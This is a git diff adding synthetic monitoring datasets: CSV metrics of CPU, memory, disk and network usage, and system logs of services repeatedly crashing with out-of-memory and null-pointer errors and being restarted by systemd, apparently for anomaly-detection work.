+2025-07-11T10:04:40Z,88.6,80.11,17.02,1.04,0.83 +2025-07-11T10:04:45Z,103.22,82.43,14.62,1.09,1.02 +2025-07-11T10:04:50Z,3.74,8.77,1.2,0.07,0.04 +2025-07-11T10:04:55Z,3.17,12.43,1.3,0.0,0.13 +2025-07-11T10:05:00Z,12.91,11.7,7.77,0.63,0.0 +2025-07-11T10:05:05Z,58.45,52.41,36.36,2.76,1.93 +2025-07-11T10:05:10Z,94.73,85.41,19.93,1.3,1.18 +2025-07-11T10:05:15Z,102.36,82.59,15.12,0.76,0.92 +2025-07-11T10:05:20Z,89.36,87.69,16.76,0.9,0.95 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+2025-07-11T10:07:05Z,101.1,76.0,14.07,1.26,0.9 +2025-07-11T10:07:10Z,88.35,85.44,12.77,1.05,1.24 +2025-07-11T10:07:15Z,88.32,90.95,19.5,0.7,1.12 +2025-07-11T10:07:20Z,5.03,12.68,0.47,0.06,0.06 +2025-07-11T10:07:25Z,3.51,11.95,0.81,0.16,0.08 diff --git a/anom_dataset/scenario_11/anom_11_12.log b/anom_dataset/scenario_11/anom_11_12.log new file mode 100644 index 0000000000000000000000000000000000000000..dfb98df88951229f2a80cb9f96af51cd3b2c52f6 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_12.log @@ -0,0 +1,94 @@ +Jul 11 10:00:00 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:00:00 systemd[1]: Started Payment Service. +Jul 11 10:00:00 payment-app[3456]: INFO Service starting... +Jul 11 10:00:00 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:00:20 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:00:35 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:00:50 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:01:05 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:01:05 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:01:05 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:01:05 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:01:10 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:10 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:01:10 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:01:15 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:01:15 systemd[1]: Stopped Payment Service. +Jul 11 10:01:15 systemd[1]: Started Payment Service. +Jul 11 10:01:15 payment-app[3456]: INFO Service starting... +Jul 11 10:01:15 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:01:35 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:01:50 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:02:05 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:02:05 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:02:10 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:02:20 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:02:20 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:02:20 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:02:25 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:02:25 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:02:25 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:02:30 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:02:30 systemd[1]: Stopped Payment Service. +Jul 11 10:02:30 systemd[1]: Started Payment Service. +Jul 11 10:02:30 payment-app[3456]: INFO Service starting... +Jul 11 10:02:30 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:02:50 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:03:05 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:03:15 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:03:20 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:03:35 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:03:35 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:03:35 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:03:40 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:40 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:03:40 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:03:45 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:03:45 systemd[1]: Stopped Payment Service. +Jul 11 10:03:45 systemd[1]: Started Payment Service. +Jul 11 10:03:45 payment-app[3456]: INFO Service starting... +Jul 11 10:03:45 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:04:05 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:04:10 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:04:20 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:04:35 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:04:50 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:04:50 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:04:50 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:04:55 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:04:55 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:04:55 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:05:00 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:05:00 systemd[1]: Stopped Payment Service. +Jul 11 10:05:00 systemd[1]: Started Payment Service. +Jul 11 10:05:00 payment-app[3456]: INFO Service starting... +Jul 11 10:05:00 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:05:20 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:05:25 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:05:35 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:05:50 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:06:05 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:06:05 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:06:05 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:06:10 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:10 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:06:10 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:06:15 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:06:15 systemd[1]: Stopped Payment Service. +Jul 11 10:06:15 CRON[6543]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:06:15 systemd[1]: Started Payment Service. +Jul 11 10:06:15 payment-app[3456]: INFO Service starting... +Jul 11 10:06:15 payment-app[3456]: INFO Database connection pool initialized. +Jul 11 10:06:30 kubelet[2345]: INFO Liveness probe succeeded for pod payment-service +Jul 11 10:06:35 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:06:50 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:07:05 payment-app[3456]: GET /api/v1/payment/status status=200 OK +Jul 11 10:07:20 payment-app[3456]: FATAL Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Jul 11 10:07:20 payment-app[3456]: at com.example.payment.processor.process(PaymentProcessor.java:167) +Jul 11 10:07:20 payment-app[3456]: at com.example.payment.worker.run(Worker.java:42) +Jul 11 10:07:25 systemd[1]: payment.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:07:25 systemd[1]: payment.service: Failed with result 'exit-code'. +Jul 11 10:07:25 systemd[1]: payment.service: Consumed 1min 4s CPU time. +Jul 11 10:07:30 systemd[1]: payment.service: Scheduled restart job, restart counter is at 6. +Jul 11 10:07:30 systemd[1]: Stopped Payment Service. diff --git a/anom_dataset/scenario_11/anom_11_13.csv b/anom_dataset/scenario_11/anom_11_13.csv new file mode 100644 index 0000000000000000000000000000000000000000..338e385e9b7d53edc29b7022482b5d675da35052 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_13.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,15.36,38.89,23.52,6.13,4.13 +2025-07-11T10:00:05Z,34.92,51.74,25.82,6.3,4.39 +2025-07-11T10:00:10Z,61.45,66.94,26.45,5.59,3.79 +2025-07-11T10:00:15Z,12.11,78.6,6.18,1.24,1.11 +2025-07-11T10:00:20Z,18.13,81.41,4.14,0.95,0.58 +2025-07-11T10:00:25Z,17.54,80.8,5.79,1.31,0.99 +2025-07-11T10:00:30Z,18.57,77.98,6.74,1.2,0.77 +2025-07-11T10:00:35Z,11.18,78.34,3.21,0.96,0.8 +2025-07-11T10:00:40Z,17.87,75.85,5.17,1.01,0.89 +2025-07-11T10:00:45Z,16.64,76.0,6.02,1.27,1.27 +2025-07-11T10:00:50Z,19.72,77.45,5.99,0.5,0.55 +2025-07-11T10:00:55Z,18.28,79.17,6.93,0.62,1.45 +2025-07-11T10:01:00Z,1.74,2.15,0.54,0.08,0.08 +2025-07-11T10:01:05Z,0.04,1.09,0.86,0.02,0.06 +2025-07-11T10:01:10Z,0.19,1.63,0.03,0.04,0.09 +2025-07-11T10:01:15Z,13.01,42.21,23.98,5.54,3.51 +2025-07-11T10:01:20Z,34.16,54.76,26.98,6.22,4.26 +2025-07-11T10:01:25Z,59.06,66.94,26.2,5.72,3.68 +2025-07-11T10:01:30Z,13.22,78.21,6.17,0.9,0.65 +2025-07-11T10:01:35Z,16.07,81.25,6.76,0.82,1.31 +2025-07-11T10:01:40Z,14.22,75.37,4.05,1.49,0.98 +2025-07-11T10:01:45Z,12.68,82.25,5.92,0.57,1.42 +2025-07-11T10:01:50Z,19.16,82.54,4.68,0.6,1.0 +2025-07-11T10:01:55Z,10.53,83.1,4.08,0.53,0.99 +2025-07-11T10:02:00Z,15.45,79.72,5.32,1.09,0.83 +2025-07-11T10:02:05Z,16.71,75.32,4.79,1.1,0.79 +2025-07-11T10:02:10Z,10.32,76.64,4.34,1.22,1.17 +2025-07-11T10:02:15Z,0.22,2.21,0.25,0.05,0.0 +2025-07-11T10:02:20Z,1.13,4.55,0.56,0.08,0.08 +2025-07-11T10:02:25Z,1.73,3.41,0.54,0.1,0.06 +2025-07-11T10:02:30Z,13.11,40.93,23.82,6.32,4.39 +2025-07-11T10:02:35Z,43.21,50.72,24.9,6.41,3.96 +2025-07-11T10:02:40Z,62.88,68.86,25.55,6.09,4.15 +2025-07-11T10:02:45Z,14.86,77.48,5.07,0.65,0.57 +2025-07-11T10:02:50Z,19.32,79.49,5.27,0.77,1.17 +2025-07-11T10:02:55Z,16.05,76.82,3.11,0.78,0.72 +2025-07-11T10:03:00Z,17.51,84.27,4.92,0.74,0.84 +2025-07-11T10:03:05Z,15.44,82.1,5.72,0.78,0.74 +2025-07-11T10:03:10Z,12.02,79.25,5.37,1.46,1.12 +2025-07-11T10:03:15Z,18.73,80.37,4.31,1.23,0.87 +2025-07-11T10:03:20Z,15.48,83.24,6.27,1.12,1.47 +2025-07-11T10:03:25Z,13.11,75.14,5.57,1.06,0.99 +2025-07-11T10:03:30Z,1.85,3.69,0.91,0.03,0.06 +2025-07-11T10:03:35Z,0.27,3.55,0.07,0.05,0.1 +2025-07-11T10:03:40Z,1.89,4.34,0.72,0.09,0.08 +2025-07-11T10:03:45Z,17.94,39.2,26.36,6.24,3.62 +2025-07-11T10:03:50Z,42.96,50.98,25.85,5.76,3.75 +2025-07-11T10:03:55Z,62.66,66.92,26.08,6.44,3.62 +2025-07-11T10:04:00Z,12.69,81.9,3.22,0.82,1.2 +2025-07-11T10:04:05Z,16.68,75.36,4.61,1.33,1.07 +2025-07-11T10:04:10Z,14.97,81.99,3.83,1.39,0.64 +2025-07-11T10:04:15Z,15.24,80.82,6.85,1.01,1.19 +2025-07-11T10:04:20Z,12.62,84.02,5.64,0.66,0.62 +2025-07-11T10:04:25Z,12.67,80.61,3.5,0.74,0.94 +2025-07-11T10:04:30Z,13.62,80.58,6.67,1.49,0.97 +2025-07-11T10:04:35Z,11.18,79.89,4.84,0.97,0.89 +2025-07-11T10:04:40Z,10.99,81.21,5.34,1.08,0.83 +2025-07-11T10:04:45Z,1.25,3.88,0.35,0.07,0.04 +2025-07-11T10:04:50Z,1.92,2.07,0.5,0.04,0.07 +2025-07-11T10:04:55Z,1.81,1.03,0.29,0.08,0.03 +2025-07-11T10:05:00Z,14.15,41.58,24.19,6.37,3.88 +2025-07-11T10:05:05Z,42.05,50.91,23.57,5.77,3.76 +2025-07-11T10:05:10Z,56.76,64.4,25.73,5.51,4.05 +2025-07-11T10:05:15Z,15.74,79.82,3.15,1.03,0.94 +2025-07-11T10:05:20Z,12.72,75.93,5.65,1.17,1.15 +2025-07-11T10:05:25Z,17.67,77.09,6.02,0.83,0.54 +2025-07-11T10:05:30Z,17.2,80.1,5.79,1.23,1.49 +2025-07-11T10:05:35Z,17.87,79.01,3.07,1.35,0.77 +2025-07-11T10:05:40Z,12.9,82.47,5.43,0.77,0.75 +2025-07-11T10:05:45Z,12.94,83.25,5.86,1.17,1.21 +2025-07-11T10:05:50Z,15.45,78.49,6.14,1.46,1.13 +2025-07-11T10:05:55Z,19.42,84.16,4.0,1.02,1.04 +2025-07-11T10:06:00Z,1.95,2.57,0.55,0.03,0.04 +2025-07-11T10:06:05Z,0.9,2.81,0.57,0.04,0.1 +2025-07-11T10:06:10Z,0.35,4.73,0.02,0.06,0.07 +2025-07-11T10:06:15Z,12.4,38.8,25.65,5.69,4.13 +2025-07-11T10:06:20Z,37.96,51.6,25.32,5.85,4.08 +2025-07-11T10:06:25Z,64.35,69.12,24.78,5.79,4.31 +2025-07-11T10:06:30Z,17.94,79.79,6.45,0.79,1.34 +2025-07-11T10:06:35Z,17.5,84.24,4.56,1.49,1.14 +2025-07-11T10:06:40Z,17.44,76.72,3.55,1.12,1.25 +2025-07-11T10:06:45Z,13.49,84.21,5.56,1.31,1.48 +2025-07-11T10:06:50Z,14.73,77.39,5.06,0.53,1.4 +2025-07-11T10:06:55Z,16.95,83.3,6.9,0.53,1.04 +2025-07-11T10:07:00Z,18.2,83.99,4.47,0.83,0.63 +2025-07-11T10:07:05Z,15.65,78.67,3.62,1.25,0.58 +2025-07-11T10:07:10Z,13.25,81.37,3.23,1.48,0.93 +2025-07-11T10:07:15Z,1.86,4.94,0.52,0.04,0.04 +2025-07-11T10:07:20Z,0.78,3.3,0.57,0.01,0.08 +2025-07-11T10:07:25Z,0.54,1.1,0.96,0.07,0.07 diff --git a/anom_dataset/scenario_11/anom_11_13.log b/anom_dataset/scenario_11/anom_11_13.log new file mode 100644 index 0000000000000000000000000000000000000000..389d864546c1c74792e42337477fff98177edcbe --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_13.log @@ -0,0 +1,44 @@ +Jul 11 10:00:00 systemd[1]: Started My Web Application. +Jul 11 10:00:00 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:00:05 CRON[4521]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:00:20 web-app[1234]: GET /api/v1/health status=200 OK +Jul 11 10:00:55 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:00:55 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:01:00 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:01:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:01:05 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:01:15 systemd[1]: Started My Web Application. +Jul 11 10:01:15 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:02:10 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:02:10 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:02:10 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:02:15 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:02:15 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:02:30 systemd[1]: Started My Web Application. +Jul 11 10:02:30 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:03:15 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:03:25 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:03:25 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:03:30 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:03:30 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:03:45 systemd[1]: Started My Web Application. +Jul 11 10:03:45 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:04:20 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:04:40 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:04:40 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:04:45 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:04:45 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:05:00 systemd[1]: Started My Web Application. +Jul 11 10:05:00 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:05:25 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:05:55 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:05:55 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:06:00 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:06:00 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 11 10:06:15 systemd[1]: Started My Web Application. +Jul 11 10:06:15 systemd[1]: web-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:06:30 kubelet[3101]: INFO Liveness probe for pod web-app-pod succeeded. +Jul 11 10:07:10 web-app[1234]: FATAL: Critical error in processing queue: null pointer dereference. +Jul 11 10:07:10 web-app[1234]: stack_trace: main.processQueue(main.go:152) <- main.worker(main.go:121) <- runtime.goexit(asm_amd64.s:1374) +Jul 11 10:07:15 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 11 10:07:15 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE diff --git a/anom_dataset/scenario_11/anom_11_14.csv b/anom_dataset/scenario_11/anom_11_14.csv new file mode 100644 index 0000000000000000000000000000000000000000..15e905af20d7c528541bf3ee558667e049d89b8a --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_14.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-15T10:00:00Z,11.15,43.01,21.53,1.07,1.02 +2025-08-15T10:00:05Z,10.46,36.94,24.11,1.42,0.76 +2025-08-15T10:00:10Z,11.69,40.3,39.1,1.43,0.93 +2025-08-15T10:00:15Z,11.79,40.86,32.53,0.8,1.25 +2025-08-15T10:00:20Z,13.34,43.21,39.3,1.23,0.75 +2025-08-15T10:00:25Z,11.67,43.05,25.54,1.04,0.88 +2025-08-15T10:00:30Z,14.96,40.77,15.37,1.04,0.92 +2025-08-15T10:00:35Z,27.54,49.42,26.49,1.8,1.55 +2025-08-15T10:00:40Z,31.73,51.62,34.41,2.15,1.86 +2025-08-15T10:00:45Z,48.64,62.19,44.86,2.92,2.4 +2025-08-15T10:00:50Z,52.41,66.57,54.56,3.39,2.99 +2025-08-15T10:00:55Z,67.88,76.45,56.96,4.31,3.58 +2025-08-15T10:01:00Z,72.66,79.22,68.96,4.62,4.04 +2025-08-15T10:01:05Z,87.12,90.77,75.34,5.32,4.44 +2025-08-15T10:01:10Z,0.24,3.65,0.09,0.06,0.03 +2025-08-15T10:01:15Z,96.71,96.42,88.14,6.12,5.17 +2025-08-15T10:01:20Z,0.49,3.24,0.77,0.01,0.01 +2025-08-15T10:01:25Z,1.84,4.26,0.3,0.03,0.06 +2025-08-15T10:01:30Z,19.11,39.5,15.29,1.09,0.94 +2025-08-15T10:01:35Z,26.34,43.89,29.04,1.43,1.6 +2025-08-15T10:01:40Z,39.52,54.19,36.53,2.15,2.06 +2025-08-15T10:01:45Z,42.44,59.53,43.3,2.74,2.67 +2025-08-15T10:01:50Z,55.16,69.52,46.44,3.46,3.12 +2025-08-15T10:01:55Z,69.35,73.34,53.33,4.1,3.56 +2025-08-15T10:02:00Z,74.01,82.96,64.64,4.79,4.0 +2025-08-15T10:02:05Z,88.12,89.58,74.35,5.35,4.66 +2025-08-15T10:02:10Z,0.28,1.0,0.91,0.07,0.07 +2025-08-15T10:02:15Z,97.55,95.46,81.66,5.9,5.04 +2025-08-15T10:02:20Z,0.14,4.32,0.28,0.02,0.08 +2025-08-15T10:02:25Z,1.72,4.05,0.88,0.06,0.09 +2025-08-15T10:02:30Z,17.37,42.23,24.77,0.98,1.12 +2025-08-15T10:02:35Z,21.88,46.32,28.61,1.6,1.54 +2025-08-15T10:02:40Z,37.36,53.17,37.83,2.42,2.01 +2025-08-15T10:02:45Z,41.01,59.21,38.04,2.96,2.44 +2025-08-15T10:02:50Z,58.84,64.7,49.15,3.6,2.92 +2025-08-15T10:02:55Z,63.8,71.56,53.05,4.17,3.55 +2025-08-15T10:03:00Z,70.87,82.65,66.27,4.55,4.04 +2025-08-15T10:03:05Z,84.33,88.18,74.63,5.23,4.67 +2025-08-15T10:03:10Z,0.31,2.33,0.65,0.03,0.0 +2025-08-15T10:03:15Z,97.93,94.96,84.71,5.92,5.1 +2025-08-15T10:03:20Z,0.06,2.09,0.98,0.03,0.07 +2025-08-15T10:03:25Z,1.39,1.91,0.87,0.07,0.08 +2025-08-15T10:03:30Z,16.14,38.74,19.72,1.04,0.83 +2025-08-15T10:03:35Z,23.53,46.47,30.3,1.58,1.62 +2025-08-15T10:03:40Z,32.45,51.04,36.38,2.14,1.85 +2025-08-15T10:03:45Z,46.23,59.15,45.12,2.98,2.32 +2025-08-15T10:03:50Z,56.91,66.86,47.87,3.35,3.17 +2025-08-15T10:03:55Z,60.07,74.45,61.51,4.12,3.46 +2025-08-15T10:04:00Z,70.21,78.61,66.48,4.64,4.14 +2025-08-15T10:04:05Z,80.38,85.78,70.63,5.56,4.65 +2025-08-15T10:04:10Z,0.39,1.03,0.83,0.07,0.04 +2025-08-15T10:04:15Z,98.22,97.36,88.55,6.15,5.05 +2025-08-15T10:04:20Z,0.68,2.2,0.17,0.05,0.04 +2025-08-15T10:04:25Z,1.29,2.7,0.28,0.04,0.02 +2025-08-15T10:04:30Z,13.5,41.28,24.07,1.05,1.18 +2025-08-15T10:04:35Z,25.63,48.35,22.86,1.58,1.47 +2025-08-15T10:04:40Z,30.3,52.28,37.02,2.28,1.89 +2025-08-15T10:04:45Z,47.61,59.85,42.12,2.93,2.52 +2025-08-15T10:04:50Z,51.86,66.27,47.39,3.44,2.88 +2025-08-15T10:04:55Z,60.42,76.81,55.11,3.93,3.56 +2025-08-15T10:05:00Z,78.11,83.17,69.43,4.8,3.81 +2025-08-15T10:05:05Z,84.65,88.97,73.4,5.28,4.31 +2025-08-15T10:05:10Z,0.67,3.08,0.99,0.1,0.08 +2025-08-15T10:05:15Z,98.87,95.52,85.12,5.84,4.94 +2025-08-15T10:05:20Z,0.14,3.54,0.68,0.03,0.04 +2025-08-15T10:05:25Z,0.01,4.71,0.34,0.09,0.09 +2025-08-15T10:05:30Z,11.75,42.75,24.3,0.83,0.89 +2025-08-15T10:05:35Z,27.73,47.03,26.7,1.73,1.44 +2025-08-15T10:05:40Z,33.16,56.15,30.09,2.26,2.02 +2025-08-15T10:05:45Z,48.25,62.19,45.23,2.68,2.35 +2025-08-15T10:05:50Z,55.92,70.2,46.94,3.45,2.81 +2025-08-15T10:05:55Z,62.84,76.35,53.52,4.08,3.38 +2025-08-15T10:06:00Z,72.05,81.32,61.33,4.58,3.99 +2025-08-15T10:06:05Z,81.03,85.52,73.77,5.25,4.4 +2025-08-15T10:06:10Z,0.99,2.04,0.35,0.07,0.08 +2025-08-15T10:06:15Z,99.17,96.26,80.34,5.85,4.92 +2025-08-15T10:06:20Z,1.97,2.13,0.79,0.02,0.09 +2025-08-15T10:06:25Z,0.59,2.24,0.57,0.01,0.08 +2025-08-15T10:06:30Z,18.44,39.28,24.81,0.93,1.12 +2025-08-15T10:06:35Z,20.17,48.08,25.56,1.71,1.63 +2025-08-15T10:06:40Z,35.39,53.96,36.36,2.13,2.11 +2025-08-15T10:06:45Z,49.12,59.47,37.78,2.74,2.36 +2025-08-15T10:06:50Z,54.03,70.14,47.11,3.59,2.9 +2025-08-15T10:06:55Z,67.95,72.17,61.78,4.13,3.44 +2025-08-15T10:07:00Z,73.67,78.61,62.23,4.61,4.19 +2025-08-15T10:07:05Z,86.55,85.42,71.57,5.55,4.44 +2025-08-15T10:07:10Z,0.04,3.09,0.28,0.06,0.09 +2025-08-15T10:07:15Z,96.06,97.19,89.5,5.8,5.08 +2025-08-15T10:07:20Z,1.02,4.78,0.09,0.03,0.03 +2025-08-15T10:07:25Z,0.26,4.3,0.16,0.08,0.04 diff --git a/anom_dataset/scenario_11/anom_11_14.log b/anom_dataset/scenario_11/anom_11_14.log new file mode 100644 index 0000000000000000000000000000000000000000..21f5a14267b277c2e4b3a2114cbd842df332ac32 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_14.log @@ -0,0 +1,83 @@ +Aug 15 10:00:00 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:00:00 systemd[1]: Starting my-app.service... +Aug 15 10:00:10 my-app[2345]: GET /api/v1/health status=200 OK +Aug 15 10:00:35 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:01:10 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:01:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:01:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:01:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:01:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:01:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:01:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:01:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:01:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:01:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:01:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:01:45 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:02:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:02:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:02:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:02:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:02:20 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:02:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:02:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:02:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:02:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:02:25 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 15 10:02:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 15 10:02:55 my-app[2345]: GET /api/v1/user/42 status=200 OK +Aug 15 10:03:15 my-app[2345]: at com.example.Main.run(Main.java:45) +Aug 15 10:03:15 my-app[2345]: at com.example.MyService.process(MyService.java:123) +Aug 15 10:03:15 my-app[2345]: FATAL: Unhandled exception: NullPointerException at com.example.MyService:123 +Aug 15 10:03:15 my-app[2345]: STACK_TRACE: java.lang.NullPointerException +Aug 15 10:03:20 systemd[1]: my-app.service: Main process exited, code=exited, status=137/KILL +Aug 15 10:03:25 my-app[2345]: INFO: Application startup sequence initiated. +Aug 15 10:03:25 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 15 10:03:25 systemd[1]: my-app.service: Respawning. +Aug 15 10:03:25 systemd[1]: 